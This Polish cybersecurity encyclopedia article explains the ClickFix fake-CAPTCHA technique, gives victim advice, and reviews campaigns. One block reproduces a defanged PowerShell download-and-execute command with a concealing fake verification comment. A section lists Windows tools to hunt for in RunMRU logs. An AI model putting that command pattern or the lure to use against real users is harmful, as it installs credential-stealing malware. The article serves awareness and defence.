--- id: CP-011 slug: clickfix-falszywe-captche lang: pl title: ClickFix i fałszywe captche description: Fałszywa weryfikacja „Nie jestem robotem” każe wkleić polecenie w oknie Windows+R. Jak działa ClickFix i co zrobić, gdy już się to stało. canonical_url: https://startbrain.io/cyberpedia/pl/articles/clickfix-falszywe-captche/ markdown_url: https://startbrain.io/cyberpedia/pl/articles/clickfix-falszywe-captche.md publisher: Brain (https://startbrain.io) license: CC BY 4.0 (https://creativecommons.org/licenses/by/4.0/) cite_as: Brain, „ClickFix i fałszywe captche”, Cyberpedia, 2026. https://startbrain.io/cyberpedia/pl/articles/clickfix-falszywe-captche/ (CC BY 4.0) wing: 1 theme: detect_phishing reflex: cr-001 schema: G1 updated: "2026-10-26" translations: pl: https://startbrain.io/cyberpedia/pl/articles/clickfix-falszywe-captche/ fr: https://startbrain.io/cyberpedia/fr/articles/clickfix-faux-captchas/ en: https://startbrain.io/cyberpedia/en/articles/clickfix-fake-captchas/ de: https://startbrain.io/cyberpedia/de/articles/clickfix-gefaelschte-captchas/ es: https://startbrain.io/cyberpedia/es/articles/clickfix-captchas-falsos/ it: https://startbrain.io/cyberpedia/it/articles/clickfix-captcha-falsi/ nl: https://startbrain.io/cyberpedia/nl/articles/clickfix-valse-captchas/ pt: https://startbrain.io/cyberpedia/pt/articles/clickfix-captchas-falsos/ sources: - "n": 1 title: "User Execution: Malicious Copy and Paste (T1204.004)" publisher: MITRE ATT&CK url: https://attack.mitre.org/techniques/T1204/004/ published: "2025-03-18" accessed: "2026-10-26" - "n": 2 title: "From Clipboard to Compromise: A PowerShell Self-Pwn" publisher: Proofpoint url: https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn published: "2024-06-17" accessed: "2026-10-26" - "n": 3 title: Panorama de la cybermenace 2025 publisher: ANSSI url: https://cert.cyber.gouv.fr/uploads/CERTFR-2026-CTI-002.pdf published: "2026-03-11" accessed: "2026-10-26" - "n": 4 title: Rapport général sur les menaces au premier semestre 2025 - ESET Threat Report H1 2025 publisher: ESET (WeLiveSecurity) url: https://www.welivesecurity.com/fr/dernieres-recherches/rapport-general-menaces-premier-semestre-2025-eset-threat-report-h1-2025/ published: "2025-06-26" accessed: "2026-10-26" - "n": 5 title: COLDRIVER Using New Malware To Steal Documents From Western Targets and NGOs publisher: Google Threat Intelligence Group url: https://cloud.google.com/blog/topics/threat-intelligence/coldriver-steal-documents-western-targets-ngos published: "2025-05-07" accessed: "2026-10-26" - "n": 6 title: "Think before you Click(Fix): Analyzing the ClickFix social engineering technique" publisher: Microsoft Threat Intelligence url: https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/ published: "2025-08-21" accessed: "2026-10-26" - "n": 7 title: "Security Brief: ClickFix Social Engineering Technique Floods Threat Landscape" publisher: Proofpoint url: https://www.proofpoint.com/us/blog/threat-insight/security-brief-clickfix-social-engineering-technique-floods-threat-landscape published: "2024-11-18" accessed: "2026-10-26" - "n": 8 title: Threat Actors Deploy LummaC2 Malware to Exfiltrate Sensitive Data from Organizations publisher: CISA et FBI url: https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-141b published: "2025-05-21" accessed: "2026-10-26" - "n": 9 title: Phishing campaign impersonates Booking.com, delivers a suite of credential-stealing malware publisher: Microsoft Threat Intelligence url: https://www.microsoft.com/en-us/security/blog/2025/03/13/phishing-campaign-impersonates-booking-com-delivers-a-suite-of-credential-stealing-malware/ published: "2025-03-13" accessed: "2026-10-26" - "n": 10 title: "Rançongiciel ou ransomware : que faire si votre organisation est victime d'une attaque ?" publisher: Cybermalveillance.gouv.fr url: https://www.cybermalveillance.gouv.fr/tous-nos-contenus/fiches-reflexes/rancongiciels-ransomwares published: "2025-06-03" accessed: "2026-10-26" --- # ClickFix i fałszywe captche ClickFix to technika inżynierii społecznej, w której ofiara sama instaluje złośliwe oprogramowanie. Strona internetowa lub załącznik wyświetla fałszywy błąd albo fałszywą weryfikację „Nie jestem robotem”, a potem instrukcję: otworzyć okno poleceń Windows, wkleić, zatwierdzić. Strona zdążyła już umieścić polecenie w schowku i właśnie to polecenie ofiara uruchamia, nie przeczytawszy go [1]. Proofpoint zaobserwował tę metodę już w marcu 2024 roku. Nazwa pochodzi od serii fałszywych alertów o aktualizacji przeglądarki, wykrytej w połowie kwietnia 2024 roku, którą badacze ochrzcili ClickFix [2]. Od jesieni 2024 roku cyberprzestępcy coraz częściej prowadzą takie kampanie, zauważa ANSSI [3]. Według ESET ClickFix wzrósł o ponad 500% między drugim półroczem 2024 a pierwszym półroczem 2025 roku i stał się drugim co do częstości wektorem ataku po phishingu [4]. ## W 30 sekund - Odruch: żadna uczciwa weryfikacja nie każe wklejać czegokolwiek do okna Uruchamianie, do PowerShella ani do Terminala. Jeśli strona tego żąda, proszę ją zamknąć. - Gdzie to się zdarza: na stronach internetowych, często znanych, które zostały włamane, oraz w załącznikach udających dokument Word. - Czego chce atakujący: żeby Pan/Pani sam(a) uruchomił(a) polecenie, które instaluje na komputerze program kradnący hasła albo zdalny dostęp. - Jeśli to już się stało: proszę odłączyć kabel sieciowy lub wyłączyć Wi-Fi, zostawić komputer włączony i od razu zadzwonić do wsparcia IT. ## Pytania wprost ### Czy prawdziwy captcha może prosić o naciśnięcie Windows+R? Nie. Captcha rozwiązuje się na stronie: pole wyboru, wybór obrazków, czasem nic. Google radzi zachować ostrożność wobec każdej strony, która każe opuścić przeglądarkę i uruchamiać polecenia na urządzeniu [5]. ### Wkleiłem(-am) polecenie, ale nie nacisnąłem(-nęłam) Enter. Czy jestem zainfekowany(-a)? To zależy od okna. W oknie Uruchamianie nic nie rusza, dopóki nie naciśnie Pan/Pani Enter [2]: proszę je zamknąć bez zatwierdzania. W PowerShellu lub w Terminalu wklejony tekst może wykonać się sam. W konsoli PowerShell samo kliknięcie prawym przyciskiem wkleja polecenie i je uruchamia [2], a Microsoft radzi ustawić Terminal tak, by ostrzegał, gdy wklejany tekst ma kilka wierszy [6]. W każdym przypadku proszę powiadomić wsparcie IT: komputer może być zagrożony, a strona, która poprosiła o ten gest, nadal jest pułapką dla współpracowników. ### Dlaczego antywirus nie zawsze blokuje atak? Ponieważ to Pan/Pani uruchamia polecenie, narzędziem dostarczonym z Windows, a na początku nie ma żadnego pliku do przeskanowania. Według Proofpoint programy antywirusowe i narzędzia wykrywania na stacjach roboczych z trudem sprawdzają zawartość schowka, dlatego trzeba zablokować stronę-pułapkę, zanim się wyświetli [2]. Microsoft ocenia, że kampania ClickFix może w ten sposób ominąć klasyczne zabezpieczenia automatyczne [6]. ## W skórze atakującego Plik wykonywalny wysłany e-mailem lub pobrany z internetu przechodzi kilka kontroli, zanim będzie mógł się otworzyć. ClickFix je omija, powierzając niebezpieczny gest ofierze: nie ma już pliku, jest tylko wiersz tekstu do wklejenia [1]. Przygotowanie takiej operacji wymaga niewielkiej wiedzy. W połowie września 2024 roku badacz opublikował na GitHubie „w celach edukacyjnych” otwartoźródłowy zestaw fałszywego reCAPTCHA, a Proofpoint znalazł go w złośliwych e-mailach kilka dni później [7]. Od końca 2024 roku Microsoft widzi, jak sprzedawcy oferują na forach przestępczych generatory ClickFix, nazywane „Win + R”, ze stronami imitującymi m.in. Cloudflare. Abonament kosztuje od 200 do 1500 dolarów miesięcznie. Pojedynczy element, jak kod źródłowy, strona startowa czy wiersz polecenia, kosztuje od 200 do 500 dolarów [6]. Kliknięcie „weryfikuję” uruchamia skrypt, który w tle kopiuje polecenie do schowka [6]. Polecenie często kończy się fałszywym tekstem potwierdzenia, w rodzaju „I am not a robot: CAPTCHA Verification UID” [6]. Proofpoint wyjaśnia, do czego służy ten fałszywy komunikat na końcu polecenia: po wklejeniu polecenia do okna Uruchamianie ofiara nie widzi właściwego, złośliwego polecenia [7]. Pole tego okna przyjmuje nie więcej niż 259 znaków [6], a wklejone polecenie zwykle tylko pobiera dalszy ciąg z serwera. PowerShell pozostaje do tego najczęściej używanym narzędziem Windows [6]. ```text Co strona wstawia do schowka (przykład odtworzony, adres zneutralizowany): powershell -w h -c "iwr hxxps://przyklad[.]invalid/v | iex" # I am not a robot: CAPTCHA Verification UID: 4821 Co ofiara może zobaczyć w oknie Uruchamianie (ilustracja): fałszywy komunikat, nie polecenie. ...ex" # I am not a robot: CAPTCHA Verification UID: 4821 ``` ## Co widać na ekranie Typowy scenariusz: fałszywy captcha pojawia się przed stroną, którą chciał(a) Pan/Pani zobaczyć, często stylizowany na reCAPTCHA Google'a lub Turnstile Cloudflare [6]. Po kliknięciu captcha podaje instrukcje: otworzyć okno Uruchamianie klawiszem Windows i R, wkleić przez Ctrl+V, nacisnąć Enter. Taki scenariusz opisały CISA i FBI w alercie z maja 2025 roku o programie kradnącym dane LummaC2 [8]. Dekoracje zmieniają się zależnie od celu. W marcu 2024 roku e-maile zawierały załącznik podobny do dokumentu Word, z komunikatem „rozszerzenie Word Online nie jest zainstalowane” i dwoma przyciskami, „How to fix” i „Auto-fix” [2]. Od grudnia 2024 roku kampania wymierzona w pracowników hotelarstwa podszywała się pod Booking.com: fałszywy captcha leżał na ledwo widocznej w tle kopii strony Booking.com [9]. Nie warto ufać oprawie, która może wiernie naśladować Cloudflare, Google lub Booking.com. Sygnałem, który powinien zatrzymać, jest instrukcja: strona internetowa każe opuścić przeglądarkę i wkleić coś do okna systemowego. W programie Brain ten gest wiąże się z odruchem „Rozpoznawać sygnały manipulacji w treści e-maila”. Tutaj sygnałem manipulacji jest sama instrukcja postępowania, zarówno w e-mailu, jak i na stronie. Jeśli polecenie zostało zatwierdzone, trzeba działać w ciągu kilku minut. Proszę odłączyć kabel sieciowy lub wyłączyć Wi-Fi, ale nie wyłączać komputera: w swojej karcie o ransomware Cybermalveillance.gouv.fr przypomina, że wyłączenie grozi skasowaniem dowodów zapisanych w pamięci, potrzebnych śledztwu [10]. Proszę zadzwonić do wsparcia IT lub zespołu bezpieczeństwa i powiedzieć, jakie konta były otwarte na komputerze. LummaC2, jeden z programów instalowanych w ten sposób, zabiera dane uwierzytelniające do usług finansowych, portfele kryptowalut, rozszerzenia przeglądarki i informacje o uwierzytelnianiu dwuskładnikowym [8]: te konta trzeba zabezpieczyć w pierwszej kolejności. Bez działu IT platforma 17cyber.gouv.fr proponuje ścieżkę pomocy [10]. ## Pod maską Okno Uruchamianie należy do Eksploratora Windows (explorer.exe), składnika, któremu system ufa [6]. Każde polecenie pomyślnie uruchomione z tego okna zostawia ślad w kluczu rejestru RunMRU, który przechowuje historię wpisów. Microsoft radzi śledczym szukać tam wywołań powershell, mshta, rundll32, wscript, curl lub wget, czyli narzędzi Windows zdolnych pobierać lub wykonywać kod [6]. O roli PowerShella w atakach w ogóle mówi artykuł o wykonaniu przez interpreter poleceń. Microsoft zaleca wyłączenie okna Uruchamianie przez zasady grupy dla osób, które go nie potrzebują, włączenie rejestrowania bloków skryptów PowerShell i ograniczenie dozwolonych aplikacji [6]. Google zachęca firmy, by domyślnie zabraniały użytkownikom uruchamiania skryptów [5]. CISA zaleca listę dozwolonych aplikacji i oddzielne konta do administrowania [8]. Technika nie dotyczy już tylko Windows. W czerwcu 2025 roku kampania ClickFix wymierzona w użytkowników macOS instalowała program kradnący dane Atomic macOS Stealer [6], a ESET opisuje ją jako zagrożenie dla Windows, Linuksa i macOS [4]. ## Analizy incydentów ### Marzec 2024: TA571 i ClearFake 1 marca 2024 roku TA571, dystrybutor złośliwych e-maili, wysyła ponad 100 000 wiadomości do tysięcy organizacji z opisaną wyżej fałszywą stroną Word. W kampaniach wiosennych polecenie instaluje DarkGate, Matanbuchus lub NetSupport [2]. Już na początku kwietnia kampania ClearFake wstrzykuje fałszywe alerty do legalnych, włamanych stron. Proofpoint opisuje łańcuch, w którym jeden skrypt PowerShell mógł uruchomić pięć rodzin złośliwego oprogramowania, w tym program kradnący dane Lumma Stealer [2]. ### Wrzesień 2024: fałszywe alerty GitHuba 18 września 2024 roku atakujący komentują lub zakładają zgłoszenia w repozytoriach GitHuba. Powiadomienia, które GitHub wysyła programistom, wyglądają jak alert bezpieczeństwa i prowadzą do fałszywej strony GitHuba z fałszywym reCAPTCHA. Polecenie instaluje Lumma Stealer, a Proofpoint naliczył co najmniej 300 poszkodowanych organizacji [7]. ### Grudzień 2024: celem hotelarstwo Microsoft śledzi pod nazwą Storm-1865 kampanię w barwach Booking.com. Celuje ona w pracowników hotelarstwa w Ameryce Północnej, Oceanii, Azji i Europie i instaluje m.in. XWorm, Lumma Stealer, VenomRAT, AsyncRAT, Danabot i NetSupport RAT [9]. ### 2025: do gry wchodzą służby wywiadowcze Google zidentyfikował LOSTKEYS, program kradnący pliki, i przypisuje go grupie COLDRIVER, znanej też jako Callisto lub Star Blizzard. LOSTKEYS, zaobserwowany w styczniu, marcu i kwietniu 2025 roku, jest dostarczany na końcu łańcucha, który zaczyna się od fałszywego captcha: strona kopiuje polecenie PowerShell i prosi o uruchomienie go z okna Uruchamianie. Wśród niedawnych celów grupy są obecni i byli doradcy rządów zachodnich, dziennikarze i organizacje pozarządowe [5]. Według ANSSI operatorzy Callisto mieli również użyć tej techniki we wrześniu 2025 roku w kampaniach wymierzonych w członków społeczeństwa obywatelskiego w Rosji i organizacje pozarządowe zaangażowane na Ukrainie. Agencja wskazuje też, że co najmniej jedna kampania ClickFix została jej zgłoszona [3]. ## Źródła 1. MITRE ATT&CK, „User Execution: Malicious Copy and Paste (T1204.004)”, 18 marca 2025. https://attack.mitre.org/techniques/T1204/004/ (dostęp 26 października 2026) 2. Proofpoint, „From Clipboard to Compromise: A PowerShell Self-Pwn”, 17 czerwca 2024. https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn (dostęp 26 października 2026) 3. ANSSI, „Panorama de la cybermenace 2025”, 11 marca 2026. https://cert.cyber.gouv.fr/uploads/CERTFR-2026-CTI-002.pdf (dostęp 26 października 2026) 4. ESET (WeLiveSecurity), „Rapport général sur les menaces au premier semestre 2025 - ESET Threat Report H1 2025”, 26 czerwca 2025. https://www.welivesecurity.com/fr/dernieres-recherches/rapport-general-menaces-premier-semestre-2025-eset-threat-report-h1-2025/ (dostęp 26 października 2026) 5. Google Threat Intelligence Group, „COLDRIVER Using New Malware To Steal Documents From Western Targets and NGOs”, 7 maja 2025. https://cloud.google.com/blog/topics/threat-intelligence/coldriver-steal-documents-western-targets-ngos (dostęp 26 października 2026) 6. Microsoft Threat Intelligence, „Think before you Click(Fix): Analyzing the ClickFix social engineering technique”, 21 sierpnia 2025. https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/ (dostęp 26 października 2026) 7. Proofpoint, „Security Brief: ClickFix Social Engineering Technique Floods Threat Landscape”, 18 listopada 2024. https://www.proofpoint.com/us/blog/threat-insight/security-brief-clickfix-social-engineering-technique-floods-threat-landscape (dostęp 26 października 2026) 8. CISA et FBI, „Threat Actors Deploy LummaC2 Malware to Exfiltrate Sensitive Data from Organizations”, 21 maja 2025. https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-141b (dostęp 26 października 2026) 9. Microsoft Threat Intelligence, „Phishing campaign impersonates Booking.com, delivers a suite of credential-stealing malware”, 13 marca 2025. https://www.microsoft.com/en-us/security/blog/2025/03/13/phishing-campaign-impersonates-booking-com-delivers-a-suite-of-credential-stealing-malware/ (dostęp 26 października 2026) 10. Cybermalveillance.gouv.fr, „Rançongiciel ou ransomware : que faire si votre organisation est victime d'une attaque ?”, 3 czerwca 2025. https://www.cybermalveillance.gouv.fr/tous-nos-contenus/fiches-reflexes/rancongiciels-ransomwares (dostęp 26 października 2026) --- Źródło oryginalne: Cyberpedia, publiczna encyklopedia cyberbezpieczeństwa i AI wydawana przez Brain. Wersja kanoniczna: https://startbrain.io/cyberpedia/pl/articles/clickfix-falszywe-captche/ Możesz swobodnie wykorzystywać ten tekst na licencji CC BY 4.0 (https://creativecommons.org/licenses/by/4.0/), pod warunkiem podania „Brain, Cyberpedia” wraz z odnośnikiem do powyższego adresu.